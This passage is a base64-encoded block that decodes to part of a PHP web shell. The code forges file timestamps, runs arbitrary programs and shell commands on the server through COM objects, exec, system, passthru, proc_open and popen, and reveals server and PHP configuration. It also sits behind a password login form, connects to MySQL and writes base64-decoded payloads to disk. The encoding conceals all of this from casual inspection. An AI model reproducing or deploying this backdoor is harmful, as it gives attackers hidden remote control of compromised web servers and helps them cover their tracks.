ZXInPT45LCdPY3RvYmVyJz0+MTAsJ05vdmVtYmVyJz0+MTEsJ0RlY2VtYmVyJz0+MTIpOw0KDQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0Nsb25lIGZpbGUgd2FzIGxhc3QgbW9kaWZpZWQgdGltZScpKTsNCg0KCW1ha2VoaWRlKCdhY3Rpb24nLCdmaWxlJyk7DQoNCgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7DQoNCgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J0FsdGVyIGZpbGUnLCduYW1lJz0+J2N1cmZpbGUnLCd2YWx1ZSc9PiRvcGZpbGUsJ3NpemUnPT4xMjAsJ25ld2xpbmUnPT4xKSk7DQoNCgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J1JlZmVyZW5jZSBmaWxlIChmdWxscGF0aCknLCduYW1lJz0+J3RhcmZpbGUnLCdzaXplJz0+MTIwLCduZXdsaW5lJz0+MSkpOw0KDQoJZm9ybWZvb3RlcigpOw0KDQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J1NldCBsYXN0IG1vZGlmaWVkJykpOw0KDQoJbWFrZWhpZGUoJ2FjdGlvbicsJ2ZpbGUnKTsNCg0KCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsNCg0KCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nQ3VycmVudCBmaWxlIChmdWxscGF0aCknLCduYW1lJz0+J2N1cmZpbGUnLCd2YWx1ZSc9PiRvcGZpbGUsJ3NpemUnPT4xMjAsJ25ld2xpbmUnPT4xKSk7DQoNCglwKCc8cD5JbnN0ZWFkICZyYXF1bzsnKTsNCg0KCXAoJ3llYXI6Jyk7DQoNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4neWVhcicsJ3ZhbHVlJz0+ZGF0ZSgnWScsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjQpKTsNCg0KCXAoJ21vbnRoOicpOw0KDQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J21vbnRoJywndmFsdWUnPT5kYXRlKCdtJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+MikpOw0KDQoJcCgnZGF5OicpOw0KDQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RheScsJ3ZhbHVlJz0+ZGF0ZSgnZCcsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjIpKTsNCg0KCXAoJ2hvdXI6Jyk7DQoNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4naG91cicsJ3ZhbHVlJz0+ZGF0ZSgnSCcsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjIpKTsNCg0KCXAoJ21pbnV0ZTonKTsNCg0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidtaW51dGUnLCd2YWx1ZSc9PmRhdGUoJ2knLCRvcGZpbGVtdGltZSksJ3NpemUnPT4yKSk7DQoNCglwKCdzZWNvbmQ6Jyk7DQoNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nc2Vjb25kJywndmFsdWUnPT5kYXRlKCdzJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+MikpOw0KDQoJcCgnPC9wPicpOw0KDQoJZm9ybWZvb3RlcigpOw0KDQp9Ly9lbmQgbmV3dGltZQ0KDQoNCg0KZWxzZWlmICgkYWN0aW9uID09ICdzaGVsbCcpIHsNCg0KCWlmIChJU19XSU4gJiYgSVNfQ09NKSB7DQoNCgkJaWYoJHByb2dyYW0gJiYgJHBhcmFtZXRlcikgew0KDQoJCQkkc2hlbGw9IG5ldyBDT00oJ1NoZWxsLkFwcGxpY2F0aW9uJyk7DQoNCgkJCSRhID0gJHNoZWxsLT5TaGVsbEV4ZWN1dGUoJHByb2dyYW0sJHBhcmFtZXRlcik7DQoNCgkJCW0oJ1Byb2dyYW0gcnVuIGhhcyAnLighJGEgPyAnc3VjY2VzcycgOiAnZmFpbCcpKTsNCg0KCQl9DQoNCgkJISRwcm9ncmFtICYmICRwcm9ncmFtID0gJ2M6XHdpbmRvd3Ncc3lzdGVtMzJcY21kLmV4ZSc7DQoNCgkJISRwYXJhbWV0ZXIgJiYgJHBhcmFtZXRlciA9ICcvYyBuZXQgc3RhcnQgPiAnLlNBX1JPT1QuJ2xvZy50eHQnOw0KDQoJCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidFeGVjdXRlIFByb2dyYW0nKSk7DQoNCgkJbWFrZWhpZGUoJ2FjdGlvbicsJ3NoZWxsJyk7DQoNCgkJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidQcm9ncmFtJywnbmFtZSc9Pidwcm9ncmFtJywndmFsdWUnPT4kcHJvZ3JhbSwnbmV3bGluZSc9PjEpKTsNCg0KCQlwKCc8cD4nKTsNCg0KCQltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J1BhcmFtZXRlcicsJ25hbWUnPT4ncGFyYW1ldGVyJywndmFsdWUnPT4kcGFyYW1ldGVyKSk7DQoNCgkJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3N1Ym1pdCcsJ2NsYXNzJz0+J2J0JywndHlwZSc9PidzdWJtaXQnLCd2YWx1ZSc9PidFeGVjdXRlJykpOw0KDQoJCXAoJzwvcD4nKTsNCg0KCQlmb3JtZm9vdCgpOw0KDQoJfQ0KDQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0V4ZWN1dGUgQ29tbWFuZCcpKTsNCg0KCW1ha2VoaWRlKCdhY3Rpb24nLCdzaGVsbCcpOw0KDQoJaWYgKElTX1dJTiAmJiBJU19DT00pIHsNCg0KCQkkZXhlY2Z1bmNkYiA9IGFycmF5KCdwaHBmdW5jJz0+J3BocGZ1bmMnLCd3c2NyaXB0Jz0+J3dzY3JpcHQnLCdwcm9jX29wZW4nPT4ncHJvY19vcGVuJyk7DQoNCgkJbWFrZXNlbGVjdChhcnJheSgndGl0bGUnPT4nVXNlOicsJ25hbWUnPT4nZXhlY2Z1bmMnLCdvcHRpb24nPT4kZXhlY2Z1bmNkYiwnc2VsZWN0ZWQnPT4kZXhlY2Z1bmMsJ25ld2xpbmUnPT4xKSk7DQoNCgl9DQoNCglwKCc8cD4nKTsNCg0KCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nQ29tbWFuZCcsJ25hbWUnPT4nY29tbWFuZCcsJ3ZhbHVlJz0+JGNvbW1hbmQpKTsNCg0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidzdWJtaXQnLCdjbGFzcyc9PididCcsJ3R5cGUnPT4nc3VibWl0JywndmFsdWUnPT4nRXhlY3V0ZScpKTsNCg0KCXAoJzwvcD4nKTsNCg0KCWZvcm1mb290KCk7DQoNCg0KDQoJaWYgKCRjb21tYW5kKSB7DQoNCgkJcCgnPGhyIHdpZHRoPSIxMDAlIiBub3NoYWRlIC8+PHByZT4nKTsNCg0KCQlpZiAoJGV4ZWNmdW5jPT0nd3NjcmlwdCcgJiYgSVNfV0lOICYmIElTX0NPTSkgew0KDQoJCQkkd3NoID0gbmV3IENPTSgnV1NjcmlwdC5zaGVsbCcpOw0KDQoJCQkkZXhlYyA9ICR3c2gtPmV4ZWMoJ2NtZC5leGUgL2MgJy4kY29tbWFuZCk7DQoNCgkJCSRzdGRvdXQgPSAkZXhlYy0+U3RkT3V0KCk7DQoNCgkJCSRzdHJvdXRwdXQgPSAkc3Rkb3V0LT5SZWFkQWxsKCk7DQoNCgkJCWVjaG8gJHN0cm91dHB1dDsNCg0KCQl9IGVsc2VpZiAoJGV4ZWNmdW5jPT0ncHJvY19vcGVuJyAmJiBJU19XSU4gJiYgSVNfQ09NKSB7DQoNCgkJCSRkZXNjcmlwdG9yc3BlYyA9IGFycmF5KA0KDQoJCQkgICAwID0+IGFycmF5KCdwaXBlJywgJ3InKSwNCg0KCQkJICAgMSA9PiBhcnJheSgncGlwZScsICd3JyksDQoNCgkJCSAgIDIgPT4gYXJyYXkoJ3BpcGUnLCAndycpDQoNCgkJCSk7DQoNCgkJCSRwcm9jZXNzID0gcHJvY19vcGVuKCRfU0VSVkVSWydDT01TUEVDJ10sICRkZXNjcmlwdG9yc3BlYywgJHBpcGVzKTsNCg0KCQkJaWYgKGlzX3Jlc291cmNlKCRwcm9jZXNzKSkgew0KDQoJCQkJZndyaXRlKCRwaXBlc1swXSwgJGNvbW1hbmQuIlxyXG4iKTsNCg0KCQkJCWZ3cml0ZSgkcGlwZXNbMF0sICJleGl0XHJcbiIpOw0KDQoJCQkJZmNsb3NlKCRwaXBlc1swXSk7DQoNCgkJCQl3aGlsZSAoIWZlb2YoJHBpcGVzWzFdKSkgew0KDQoJCQkJCWVjaG8gZmdldHMoJHBpcGVzWzFdLCAxMDI0KTsNCg0KCQkJCX0NCg0KCQkJCWZjbG9zZSgkcGlwZXNbMV0pOw0KDQoJCQkJd2hpbGUgKCFmZW9mKCRwaXBlc1syXSkpIHsNCg0KCQkJCQllY2hvIGZnZXRzKCRwaXBlc1syXSwgMTAyNCk7DQoNCgkJCQl9DQoNCgkJCQlmY2xvc2UoJHBpcGVzWzJdKTsNCg0KCQkJCXByb2NfY2xvc2UoJHByb2Nlc3MpOw0KDQoJCQl9DQoNCgkJfSBlbHNlIHsNCg0KCQkJZWNobyhleGVjdXRlKCRjb21tYW5kKSk7DQoNCgkJfQ0KDQoJCXAoJzwvcHJlPicpOw0KDQoJfQ0KDQp9Ly9lbmQgc2hlbGwNCg0KDQoNCmVsc2VpZiAoJGFjdGlvbiA9PSAncGhwZW52Jykgew0KDQoJJHVwc2l6ZT1nZXRjZmcoJ2ZpbGVfdXBsb2FkcycpID8gZ2V0Y2ZnKCd1cGxvYWRfbWF4X2ZpbGVzaXplJykgOiAnTm90IGFsbG93ZWQnOw0KDQoJJGFkbWlubWFpbD1pc3NldCgkX1NFUlZFUlsnU0VSVkVSX0FETUlOJ10pID8gJF9TRVJWRVJbJ1NFUlZFUl9BRE1JTiddIDogZ2V0Y2ZnKCdzZW5kbWFpbF9mcm9tJyk7DQoNCgkhJGRpc19mdW5jICYmICRkaXNfZnVuYyA9ICdObyc7CQ0KDQoJJGluZm8gPSBhcnJheSgNCg0KCQkxID0+IGFycmF5KCdTZXJ2ZXIgVGltZScsZGF0ZSgnWS9tL2QgaDppOnMnLCR0aW1lc3RhbXApKSwNCg0KCQkyID0+IGFycmF5KCdTZXJ2ZXIgRG9tYWluJywkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSksDQoNCgkJMyA9PiBhcnJheSgnU2VydmVyIElQJyxnZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKSksDQoNCgkJNCA9PiBhcnJheSgnU2VydmVyIE9TJyxQSFBfT1MpLA0KDQoJCTUgPT4gYXJyYXkoJ1NlcnZlciBPUyBDaGFyc2V0JywkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSksDQoNCgkJNiA9PiBhcnJheSgnU2VydmVyIFNvZnR3YXJlJywkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ10pLA0KDQoJCTcgPT4gYXJyYXkoJ1NlcnZlciBXZWIgUG9ydCcsJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10pLA0KDQoJCTggPT4gYXJyYXkoJ1BIUCBydW4gbW9kZScsc3RydG91cHBlcihwaHBfc2FwaV9uYW1lKCkpKSwNCg0KCQk5ID0+IGFycmF5KCdUaGUgZmlsZSBwYXRoJyxfX0ZJTEVfXyksDQoNCg0KDQoJCTEwID0+IGFycmF5KCdQSFAgVmVyc2lvbicsUEhQX1ZFUlNJT04pLA0KDQoJCTExID0+IGFycmF5KCdQSFBJTkZPJywoSVNfUEhQSU5GTyA/ICc8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKFwncGhwaW5mb1wnKTsiPlllczwvYT4nIDogJ05vJykpLA0KDQoJCTEyID0+IGFycmF5KCdTYWZlIE1vZGUnLGdldGNmZygnc2FmZV9tb2RlJykpLA0KDQoJCTEzID0+IGFycmF5KCdBZG1pbmlzdHJhdG9yJywkYWRtaW5tYWlsKSwNCg0KCQkxNCA9PiBhcnJheSgnYWxsb3dfdXJsX2ZvcGVuJyxnZXRjZmcoJ2FsbG93X3VybF9mb3BlbicpKSwNCg0KCQkxNSA9PiBhcnJheSgnZW5hYmxlX2RsJyxnZXRjZmcoJ2VuYWJsZV9kbCcpKSwNCg0KCQkxNiA9PiBhcnJheSgnZGlzcGxheV9lcnJvcnMnLGdldGNmZygnZGlzcGxheV9lcnJvcnMnKSksDQoNCgkJMTcgPT4gYXJyYXkoJ3JlZ2lzdGVyX2dsb2JhbHMnLGdldGNmZygncmVnaXN0ZXJfZ2xvYmFscycpKSwNCg0KCQkxOCA9PiBhcnJheSgnbWFnaWNfcXVvdGVzX2dwYycsZ2V0Y2ZnKCdtYWdpY19xdW90ZXNfZ3BjJykpLA0KDQoJCTE5ID0+IGFycmF5KCdtZW1vcnlfbGltaXQnLGdldGNmZygnbWVtb3J5X2xpbWl0JykpLA0KDQoJCTIwID0+IGFycmF5KCdwb3N0X21heF9zaXplJyxnZXRjZmcoJ3Bvc3RfbWF4X3NpemUnKSksDQoNCgkJMjEgPT4gYXJyYXkoJ3VwbG9hZF9tYXhfZmlsZXNpemUnLCR1cHNpemUpLA0KDQoJCTIyID0+IGFycmF5KCdtYXhfZXhlY3V0aW9uX3RpbWUnLGdldGNmZygnbWF4X2V4ZWN1dGlvbl90aW1lJykuJyBzZWNvbmQocyknKSwNCg0KCQkyMyA9PiBhcnJheSgnZGlzYWJsZV9mdW5jdGlvbnMnLCRkaXNfZnVuYyksDQoNCgkpOw0KDQoNCg0KCWlmKCRwaHB2YXJuYW1lKSB7DQoNCgkJbSgkcGhwdmFybmFtZSAuJyA6ICcuZ2V0Y2ZnKCRwaHB2YXJuYW1lKSk7DQoNCgl9DQoNCg0KDQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J1NlcnZlciBlbnZpcm9ubWVudCcpKTsNCg0KCW1ha2VoaWRlKCdhY3Rpb24nLCdwaHBlbnYnKTsNCg0KCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nUGxlYXNlIGlucHV0IFBIUCBjb25maWd1cmF0aW9uIHBhcmFtZXRlcihlZzptYWdpY19xdW90ZXNfZ3BjKScsJ25hbWUnPT4ncGhwdmFybmFtZScsJ3ZhbHVlJz0+JHBocHZhcm5hbWUsJ25ld2xpbmUnPT4xKSk7DQoNCglmb3JtZm9vdGVyKCk7DQoNCg0KDQoJJGhwID0gYXJyYXkoMD0+ICdTZXJ2ZXInLCAxPT4gJ1BIUCcpOw0KDQoJZm9yKCRhPTA7JGE8MjskYSsrKSB7DQoNCgkJcCgnPGgyPicuJGhwWyRhXS4nICZyYXF1bzs8L2gyPicpOw0KDQoJCXAoJzx1bCBjbGFzcz0iaW5mbyI+Jyk7DQoNCgkJaWYgKCRhPT0wKSB7DQoNCgkJCWZvcigkaT0xOyRpPD05OyRpKyspIHsNCg0KCQkJCXAoJzxsaT48dT4nLiRpbmZvWyRpXVswXS4nOjwvdT4nLiRpbmZvWyRpXVsxXS4nPC9saT4nKTsNCg0KCQkJfQ0KDQoJCX0gZWxzZWlmICgkYSA9PSAxKSB7DQoNCgkJCWZvcigkaT0xMDskaTw9MjM7JGkrKykgew0KDQoJCQkJcCgnPGxpPjx1PicuJGluZm9bJGldWzBdLic6PC91PicuJGluZm9bJGldWzFdLic8L2xpPicpOw0KDQoJCQl9DQoNCgkJfQ0KDQoJCXAoJzwvdWw+Jyk7DQoNCgl9DQoNCn0vL2VuZCBwaHBlbnYNCg0KDQoNCmVsc2Ugew0KDQoJbSgnVW5kZWZpbmVkIEFjdGlvbicpOw0KDQp9DQoNCg0KDQo/Pg0KDQo8L3RkPjwvdHI+PC90YWJsZT4NCg0KPGRpdiBzdHlsZT0icGFkZGluZzoxMHB4O2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNmZmY7Ym9yZGVyLXRvcDoxcHggc29saWQgI2RkZDtiYWNrZ3JvdW5kOiNlZWU7Ij4NCg0KCTxzcGFuIHN0eWxlPSJmbG9hdDpyaWdodDsiPjw/cGhwIGRlYnVnaW5mbygpO29iX2VuZF9mbHVzaCgpOz8+PC9zcGFuPg0KDQoJQ29weXJpZ2h0IChDKSAyMDA0LTIwMDggDQoNCjwvZGl2Pg0KDQo8L2JvZHk+DQoNCjwvaHRtbD4NCg0KDQoNCjw/cGhwDQoNCg0KDQovKj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KDQo/Pz8NCg0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ki8NCg0KDQoNCmZ1bmN0aW9uIG0oJG1zZykgew0KDQoJZWNobyAnPGRpdiBzdHlsZT0iYmFja2dyb3VuZDojZjFmMWYxO2JvcmRlcjoxcHggc29saWQgI2RkZDtwYWRkaW5nOjE1cHg7Zm9udDoxNHB4O3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtd2VpZ2h0OmJvbGQ7Ij4nOw0KDQoJZWNobyAkbXNnOw0KDQoJZWNobyAnPC9kaXY+JzsNCg0KfQ0KDQpmdW5jdGlvbiBzY29va2llKCRrZXksICR2YWx1ZSwgJGxpZmUgPSAwLCAkcHJlZml4ID0gMSkgew0KDQoJZ2xvYmFsICRhZG1pbiwgJHRpbWVzdGFtcCwgJF9TRVJWRVI7DQoNCgkka2V5ID0gKCRwcmVmaXggPyAkYWRtaW5bJ2Nvb2tpZXByZSddIDogJycpLiRrZXk7DQoNCgkkbGlmZSA9ICRsaWZlID8gJGxpZmUgOiAkYWRtaW5bJ2Nvb2tpZWxpZmUnXTsNCg0KCSR1c2Vwb3J0ID0gJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10gPT0gNDQzID8gMSA6IDA7DQoNCglzZXRjb29raWUoJGtleSwgJHZhbHVlLCAkdGltZXN0YW1wKyRsaWZlLCAkYWRtaW5bJ2Nvb2tpZXBhdGgnXSwgJGFkbWluWydjb29raWVkb21haW4nXSwgJHVzZXBvcnQpOw0KDQp9CQ0KDQpmdW5jdGlvbiBtdWx0aSgkbnVtLCAkcGVycGFnZSwgJGN1cnBhZ2UsICR0YWJsZW5hbWUpIHsNCg0KCSRtdWx0aXBhZ2UgPSAnJzsNCg0KCWlmKCRudW0gPiAkcGVycGFnZSkgew0KDQoJCSRwYWdlID0gMTA7DQoNCgkJJG9mZnNldCA9IDU7DQoNCgkJJHBhZ2VzID0gQGNlaWwoJG51bSAvICRwZXJwYWdlKTsNCg0KCQlpZigkcGFnZSA+ICRwYWdlcykgew0KDQoJCQkkZnJvbSA9IDE7DQoNCgkJCSR0byA9ICRwYWdlczsNCg0KCQl9IGVsc2Ugew0KDQoJCQkkZnJvbSA9ICRjdXJwYWdlIC0gJG9mZnNldDsNCg0KCQkJJHRvID0gJGN1cnBhZ2UgKyAkcGFnZSAtICRvZmZzZXQgLSAxOw0KDQoJCQlpZigkZnJvbSA8IDEpIHsNCg0KCQkJCSR0byA9ICRjdXJwYWdlICsgMSAtICRmcm9tOw0KDQoJCQkJJGZyb20gPSAxOw0KDQoJCQkJaWYoKCR0byAtICRmcm9tKSA8ICRwYWdlICYmICgkdG8gLSAkZnJvbSkgPCAkcGFnZXMpIHsNCg0KCQkJCQkkdG8gPSAkcGFnZTsNCg0KCQkJCX0NCg0KCQkJfSBlbHNlaWYoJHRvID4gJHBhZ2VzKSB7DQoNCgkJCQkkZnJvbSA9ICRjdXJwYWdlIC0gJHBhZ2VzICsgJHRvOw0KDQoJCQkJJHRvID0gJHBhZ2VzOw0KDQoJCQkJaWYoKCR0byAtICRmcm9tKSA8ICRwYWdlICYmICgkdG8gLSAkZnJvbSkgPCAkcGFnZXMpIHsNCg0KCQkJCQkkZnJvbSA9ICRwYWdlcyAtICRwYWdlICsgMTsNCg0KCQkJCX0NCg0KCQkJfQ0KDQoJCX0NCg0KCQkkbXVsdGlwYWdlID0gKCRjdXJwYWdlIC0gJG9mZnNldCA+IDEgJiYgJHBhZ2VzID4gJHBhZ2UgPyAnPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsIDEpOyI+Rmlyc3Q8L2E+ICcgOiAnJykuKCRjdXJwYWdlID4gMSA/ICc8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdcJywgJy4oJGN1cnBhZ2UgLSAxKS4nKTsiPlByZXY8L2E+ICcgOiAnJyk7DQoNCgkJZm9yKCRpID0gJGZyb207ICRpIDw9ICR0bzsgJGkrKykgew0KDQoJCQkkbXVsdGlwYWdlIC49ICRpID09ICRjdXJwYWdlID8gJGkuJyAnIDogJzxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wnLCAnLiRpLicpOyI+WycuJGkuJ108L2E+ICc7DQoNCgkJfQ0KDQoJCSRtdWx0aXBhZ2UgLj0gKCRjdXJwYWdlIDwgJHBhZ2VzID8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wnLCAnLigkY3VycGFnZSArIDEpLicpOyI+TmV4dDwvYT4nIDogJycpLigkdG8gPCAkcGFnZXMgPyAnIDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wnLCAnLiRwYWdlcy4nKTsiPkxhc3Q8L2E+JyA6ICcnKTsNCg0KCQkkbXVsdGlwYWdlID0gJG11bHRpcGFnZSA/ICc8cD5QYWdlczogJy4kbXVsdGlwYWdlLic8L3A+JyA6ICcnOw0KDQoJfQ0KDQoJcmV0dXJuICRtdWx0aXBhZ2U7DQoNCn0NCg0KLy8gPz8/Pw0KDQpmdW5jdGlvbiBsb2dpbnBhZ2UoKSB7DQoNCj8+DQoNCgk8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KDQoJaW5wdXQge2ZvbnQ6MTFweCBWZXJkYW5hO0JBQ0tHUk9VTkQ6ICNGRkZGRkY7aGVpZ2h0OiAxOHB4O2JvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7fQ0KDQoJPC9zdHlsZT4NCg0KCTxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIiPg0KDQoJPHNwYW4gc3R5bGU9ImZvbnQ6MTFweCBWZXJkYW5hOyI+UGFzc3dvcmQ6IDwvc3Bhbj48aW5wdXQgbmFtZT0icGFzc3dvcmQiIHR5cGU9InBhc3N3b3JkIiBzaXplPSIyMCI+DQoNCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkb2luZyIgdmFsdWU9ImxvZ2luIj4NCg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJMb2dpbiI+DQoNCgk8L2Zvcm0+DQoNCjw/cGhwDQoNCglleGl0Ow0KDQp9Ly9lbmQgbG9naW5wYWdlKCkNCg0KDQoNCmZ1bmN0aW9uIGV4ZWN1dGUoJGNmZSkgew0KDQoJJHJlcyA9ICcnOw0KDQoJaWYgKCRjZmUpIHsNCg0KCQlpZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgew0KDQoJCQlAZXhlYygkY2ZlLCRyZXMpOw0KDQoJCQkkcmVzID0gam9pbigiXG4iLCRyZXMpOw0KDQoJCX0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7DQoNCgkJCSRyZXMgPSBAc2hlbGxfZXhlYygkY2ZlKTsNCg0KCQl9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7DQoNCgkJCUBvYl9zdGFydCgpOw0KDQoJCQlAc3lzdGVtKCRjZmUpOw0KDQoJCQkkcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KDQoJCQlAb2JfZW5kX2NsZWFuKCk7DQoNCgkJfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7DQoNCgkJCUBvYl9zdGFydCgpOw0KDQoJCQlAcGFzc3RocnUoJGNmZSk7DQoNCgkJCSRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7DQoNCgkJCUBvYl9lbmRfY2xlYW4oKTsNCg0KCQl9IGVsc2VpZihAaXNfcmVzb3VyY2UoJGYgPSBAcG9wZW4oJGNmZSwiciIpKSkgew0KDQoJCQkkcmVzID0gJyc7DQoNCgkJCXdoaWxlKCFAZmVvZigkZikpIHsNCg0KCQkJCSRyZXMgLj0gQGZyZWFkKCRmLDEwMjQpOyANCg0KCQkJfQ0KDQoJCQlAcGNsb3NlKCRmKTsNCg0KCQl9DQoNCgl9DQoNCglyZXR1cm4gJHJlczsNCg0KfQ0KDQpmdW5jdGlvbiB3aGljaCgkcHIpIHsNCg0KCSRwYXRoID0gZXhlY3V0ZSgid2hpY2ggJHByIik7DQoNCglyZXR1cm4gKCRwYXRoID8gJHBhdGggOiAkcHIpOyANCg0KfQ0KDQoNCg0KZnVuY3Rpb24gY2YoJGZuYW1lLCR0ZXh0KXsNCg0KCWlmKCRmcD1AZm9wZW4oJGZuYW1lLCd3JykpIHsNCg0KCQlAZnB1dHMoJGZwLEBiYXNlNjRfZGVjb2RlKCR0ZXh0KSk7DQoNCgkJQGZjbG9zZSgkZnApOw0KDQoJfQ0KDQp9DQoNCg0KDQovLyA/Pz8/Pz8NCg0KZnVuY3Rpb24gZGVidWdpbmZvKCkgew0KDQoJZ2xvYmFsICRzdGFydHRpbWU7DQoNCgkkbXRpbWUgPSBleHBsb2RlKCcgJywgbWljcm90aW1lKCkpOw0KDQoJJHRvdGFsdGltZSA9IG51bWJlcl9mb3JtYXQoKCRtdGltZVsxXSArICRtdGltZVswXSAtICRzdGFydHRpbWUpLCA2KTsNCg0KCWVjaG8gJ1Byb2Nlc3NlZCBpbiAnLiR0b3RhbHRpbWUuJyBzZWNvbmQocyknOw0KDQp9DQoNCg0KDQovLz8/Pz8/DQoNCmZ1bmN0aW9uIGRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lPScnLCRjaGFyc2V0PScnLCRkYnBvcnQ9JzMzMDYnKSB7DQoNCglpZighJGxpbmsgPSBAbXlzcWxfY29ubmVjdCgkZGJob3N0Lic6Jy4kZGJwb3J0LCAkZGJ1c2VyLCAkZGJwYXNzKSkgew0KDQoJCXAoJzxoMj5DYW4gbm90IGNvbm5lY3QgdG8gTXlTUUwgc2VydmVyPC9oMj4nKTsNCg0KCQlleGl0Ow0KDQoJfQ0KDQoJaWYoJGxpbmsgJiYgJGRibmFtZSkgew0KDQoJCWlmICghQG15c3FsX3NlbGVjdF9kYigkZGJuYW1lLCAkbGluaykpIHsNCg0KCQkJcCgnPGgyPkRhdGFiYXNlIHNlbGVjdGVkIGhhcyBlcnJvcjwvaDI+Jyk7DQoNCgkJCWV4aXQ7DQoNCgkJfQ0KDQoJfQ0KDQoJaWYoJGxpbmsgJiYgbXlzcWxfZ2V0X3NlcnZlcl9pbmZvKCkgPiAnNC4xJykgew0KDQoJCWlmKGluX2FycmF5KHN0cnRvbG93ZXIoJGNoYXJzZXQpLCBhcnJheSgnZ2JrJywgJ2JpZzUnLCAndXRmOCcpKSkgew0KDQoJCQlxKCJTRVQgY2hhcmFjdGVyX3NldF9jb25uZWN0aW9uPSRjaGFyc2V0LCBjaGFyYWN0ZXJfc2V0X3Jlc3VsdHM9JGNoYXJzZXQsIGNoYXJhY3Rlcl9zZXRfY2xpZW50PWJpbmFyeTsiLCAkbGluayk7DQoNCgkJfQ0KDQoJfQ0KDQoJcmV0dXJuICRsaW5rOw0KDQp9DQoNCg0KDQovLyA/Pz8/Pz8NCg0KZnVuY3Rpb24gc19hcnJheSgmJGFycmF5KSB7DQoNCglpZiAoaXNfYXJyYXkoJGFycmF5KSkgew0KDQoJCWZvcmVhY2ggKCRhcnJheSBhcyAkayA9PiAkdikgew0KDQoJCQkkYXJyYXlbJGtdID0gc19hcnJheSgkdik7DQoNCgkJfQ0KDQoJfSBlbHNlIGlmIChpc19zdHJpbmcoJGFycmF5KSkgew0KDQoJCSRhcnJheSA9IHN0cmlwc2xhc2hlcygkYXJyYXkpOw0KDQoJfQ0KDQoJcmV0dXJuICRhcnJheTsNCg0KfQ0KDQoNCg0KLy8gPz9IVE1MPz8NCg0KZnVuY3Rpb24gaHRtbF9jbGVhbigkY29udGVudCkgew0KDQoJJGNvbnRlbnQgPSBodG1sc3BlY2lhbGNoYXJzKCRjb250ZW50KTsNCg0KCSRjb250ZW50ID0gc3RyX3JlcGxhY2UoIlxuIiwgIjxiciAvPiIsICRjb250ZW50KTsNCg0KCSRjb250ZW50ID0gc3RyX3JlcGxhY2UoIiAgIiwgIiZuYnNwOyZuYnNwOyIsICRjb250ZW50KTsNCg0KCSRjb250ZW50ID0gc3RyX3JlcGxhY2UoIlx0IiwgIiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyIsICRjb250ZW50KTsNCg0KCXJldHVybiAkY29udGVudDsNCg0KfQ0KDQoNCg0KLy8gPz8/Pw0KDQpmdW5jdGlvbiBnZXRDaG1vZCgkZmlsZXBhdGgpew0KDQoJcmV0dXJuIHN1YnN0cihiYXNlX2NvbnZlcnQoQGZpbGVwZXJtcygkZmlsZXBhdGgpLDEwLDgpLC00KT